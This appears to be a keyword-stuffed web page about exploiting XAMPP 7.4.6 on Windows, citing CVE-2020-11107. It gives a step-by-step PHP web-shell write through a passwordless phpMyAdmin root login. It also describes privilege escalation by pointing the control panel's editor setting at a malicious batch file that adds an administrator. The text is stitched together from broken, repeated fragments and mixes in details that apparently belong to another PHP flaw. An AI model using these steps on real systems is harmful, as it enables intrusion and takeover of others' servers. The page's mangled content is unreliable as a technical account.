Xampp For Windows 746 Exploit ~repack~

The XAMPP for Windows 7.4.6 Exploit: A Deep Dive into the CVE-2020-11107 Vulnerability

  1. Attacker accesses http://target/phpmyadmin
  2. Logs in as root with blank password
  3. Executes SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "C:/xampp/htdocs/shell.php"
  4. Accesses http://target/shell.php?cmd=whoami

  • Manual Hardening

    : If you must use older versions, ensure the C:\xampp directory and its configuration files have strict NTFS permissions to prevent non-admin users from modifying them.

    Affected Languages

    : Systems using specific code pages—including Traditional Chinese (950), Simplified Chinese (936), and Japanese (932)—are confirmed to be at higher risk. Analysis of the CVE-2020-11107 LPE Exploit xampp for windows 746 exploit

    : When an Administrator later uses the Control Panel to open a log file, the malicious file executes with the Administrator's elevated privileges. 2. Manual Exploitation Steps (PoC) Prepare Payload : Create a batch file (e.g., exploit.bat ) that contains a command like net localgroup administrators /add Modify Configuration : Open the xampp-control.ini file (often found at C:\xampp\xampp-control.ini ) and locate the Replace Path Editor=notepad.exe to the full path of your malicious file (e.g., Editor=C:\temp\exploit.bat Wait for Trigger The XAMPP for Windows 7

    "Privilege Escalation Lab"

    Based on these vulnerabilities, here is a conceptual feature—a —designed for a penetration testing or educational platform: Feature Name: The "Shadow Admin" Escalation Lab Manual Hardening : If you must use older

    If you are still running XAMPP 7.4.6 on Windows today, stop reading. Disconnect the network cable. Backup your projects. And update to a modern, supported stack – before someone else finds your server first.

    | Component | Risk | |-----------|------| | PHP 7.4.6 | Known CVEs (e.g., mail() overflow, phpinfo() leaks) | | phpMyAdmin | Default /phpmyadmin with no password → RCE via SQL or upload | | MySQL | root with no password | | WebDAV | Enabled in some older versions → PUT method uploads | | Directory traversal | ../../ in URL due to misconfigured Alias | | XAMPP’s control panel | Local privilege escalation if run as admin |